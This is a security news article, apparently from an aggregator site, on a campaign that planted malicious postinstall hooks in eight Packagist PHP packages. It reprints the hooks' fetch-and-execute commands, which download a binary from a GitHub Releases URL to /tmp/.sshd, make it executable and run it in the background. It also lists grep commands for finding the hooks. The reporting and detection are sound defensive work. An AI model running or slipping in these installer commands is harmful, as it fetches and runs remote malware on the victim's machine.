Coordinated Packagist Supply Chain Attack Infects Multiple PHP Packages With Hidden Linux Malware + Video

Listen to this Post

Featured ImageA Silent Cross-Ecosystem Attack Raises Fresh Concerns for Open Source Security

A newly uncovered supply chain attack campaign targeting the PHP ecosystem has exposed a dangerous blind spot in modern dependency security practices. Researchers revealed that eight malicious packages published on the popular PHP repository Packagist were secretly modified to execute a Linux malware payload during installation. What makes this incident especially alarming is that the malicious code was not hidden inside the usual Composer configuration files developers typically inspect. Instead, attackers embedded the payload inside package.json lifecycle hooks, allowing the malware to evade standard PHP-focused security reviews.

The operation appears highly coordinated and potentially much larger than initially believed. Security researchers discovered hundreds of references to similar payloads across GitHub repositories and workflows, suggesting the attackers experimented with multiple execution vectors beyond simple package installation. The campaign highlights how modern development environments increasingly blur the lines between ecosystems like PHP, JavaScript, and DevOps automation pipelines, creating new attack surfaces many organizations still fail to monitor properly.

The compromised packages have already been removed from Packagist, but the incident serves as another reminder that open source supply chain attacks are evolving rapidly. Attackers are no longer relying on obvious backdoors or typo-squatted libraries alone. They are now leveraging ecosystem assumptions, build tooling integrations, and developer trust to quietly gain remote code execution inside CI/CD pipelines and production systems.

How the Malicious Packagist Packages Worked

According to security researchers, the malicious packages contained a hidden postinstall script embedded inside package.json. During installation, this script attempted to download a suspicious Linux binary hosted on a GitHub Releases page associated with a repository named:

systemd-network-helper-aa5c751f

Once downloaded, the malware saved itself under the path:

/tmp/.sshd

The installer then executed a command sequence that modified permissions to make the binary executable by all users before silently launching it in the background.

Deep analysis :

curl -k -L https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/download/v1/gvfsd-network -o /tmp/.sshd
chmod 777 /tmp/.sshd
nohup /tmp/.sshd >/dev/null 2>&1 &

The use of /tmp/.sshd was clearly designed to mimic legitimate SSH-related processes and avoid suspicion during quick inspections. Researchers also noted that the malware name gvfsd-network resembles a legitimate GNOME Virtual File System daemon, another tactic likely intended to blend into Linux environments unnoticed.

The affected packages included:

moritz-sauer-13/silverstripe-cms-theme
crosiersource/crosierlib-base
devdojo/wave
devdojo/genesis
katanaui/katana
elitedevsquad/sidecar-laravel
r2luna/brain
baskarcm/tzi-chat-ui

Most of the infected versions were labeled as dev-main, dev-master, or 3.x-dev, indicating the attackers specifically targeted unstable development branches often consumed by developers testing bleeding-edge features.

Why This Attack Is More Dangerous Than Typical Package Malware

Traditional supply chain attacks usually focus on a single ecosystem. For example, npm malware stays inside JavaScript tooling, while Composer threats typically manipulate PHP dependencies directly. This campaign broke that pattern entirely.

The attackers exploited a growing reality in modern software engineering: many PHP projects now include JavaScript build systems, frontend bundlers, Node.js tooling, and GitHub Actions workflows all inside the same repository.

Security scanners looking only at Composer metadata could completely miss malicious package.json hooks hiding deeper in the project structure.

This cross-ecosystem abuse creates several dangerous consequences:

Build Servers Become High-Value Targets

When malicious postinstall scripts execute automatically, CI/CD servers can become infected without any user interaction.

GitHub Actions Pipelines Are Vulnerable

Researchers identified similar payload references embedded directly into GitHub workflow files, meaning attackers may also be attempting persistence through automated deployment systems.

Open Source Trust Is Exploited

Developers frequently trust dev branches and community tooling without extensive auditing, especially when packages come from seemingly legitimate repositories.

Linux Infrastructure Is Directly Targeted

The malware specifically downloaded Linux binaries rather than cross-platform payloads, strongly suggesting attackers focused on servers, containers, or cloud workloads instead of personal developer machines.

What Undercode Says:

Attackers Are Exploiting Developer Assumptions

This incident demonstrates how attackers increasingly rely on psychology and workflow habits rather than sophisticated zero-day exploits. Most PHP developers simply do not expect malicious logic inside JavaScript lifecycle hooks. Attackers understand this perfectly.

The blending of ecosystems is now one of the biggest security weaknesses in modern DevOps infrastructure. A single repository may simultaneously include Composer packages, npm dependencies, Docker containers, GitHub Actions, Terraform files, and cloud deployment scripts. Security teams often scan each layer separately, leaving dangerous visibility gaps between them.

Another critical detail is the choice of development branches as infection points. Many organizations automatically pull dev-main or dev-master packages into staging environments for rapid testing. These environments usually have weaker monitoring controls than production systems, making them ideal footholds for attackers seeking lateral movement.

The malware delivery technique itself also reveals operational maturity. Disabling TLS verification, suppressing errors, background execution, and naming binaries after legitimate Linux services are all tactics commonly associated with advanced Linux malware operations. Even if the second-stage payload disappeared after GitHub removed the repository, the installer behavior alone confirms clear malicious intent.

Deep analysis :

find . -name "package.json" -exec grep -H "postinstall" {} \;
grep -R "curl -k" .
grep -R "chmod 777" .
grep -R "/tmp/.sshd" .

The larger concern is that this may only represent a visible fragment of a broader campaign. Researchers identified references across 777 GitHub files, but attribution remains unclear because some may involve forks, mirrored repositories, or cached artifacts. Even so, the scale strongly suggests automation was involved.

Organizations should immediately audit build pipelines for suspicious lifecycle hooks, especially inside mixed-language repositories. Security tooling that only focuses on a single package manager is becoming dangerously outdated.

Another overlooked issue is GitHub Releases abuse. Threat actors increasingly use legitimate developer platforms to host malware because outbound traffic to GitHub is rarely blocked inside enterprise networks. This tactic allows malicious downloads to blend naturally with normal development activity.

The supply chain threat landscape is evolving faster than most companies realize. Dependency trust is no longer enough. Every installation script, workflow action, and build hook now represents a potential execution vector.

Fact Checker Results

🔍 ✅ The compromised packages were confirmed to contain malicious postinstall scripts designed to download and execute Linux binaries.

🔍 ✅ Researchers identified references to similar payloads in hundreds of GitHub files, indicating the campaign may extend beyond Packagist alone.

🔍 ❌ The exact second-stage malware payload remains unavailable because the associated GitHub repository and account were removed before full forensic analysis.

Prediction

📊 Attackers will increasingly target hybrid repositories that combine multiple ecosystems such as PHP, Node.js, Python, and Docker in a single project.

📊 Security vendors will likely begin prioritizing cross-ecosystem dependency scanning instead of isolated package manager analysis.

📊 GitHub-hosted malware delivery through Releases and workflow automation abuse is expected to become a dominant trend in future supply chain attacks.

▶️ Related Video (82% Match):

🕵️‍📝Let’s dive deep and fact‑check.

References:

Reported By: thehackernews.com
Extra Source Hub (Possible Sources for article):
https://www.github.com
Wikipedia
OpenAi & Undercode AI

Image Source:

Unsplash
Undercode AI DI v2
Bing

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeNews & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky | 🐘Mastodon | 📺Youtube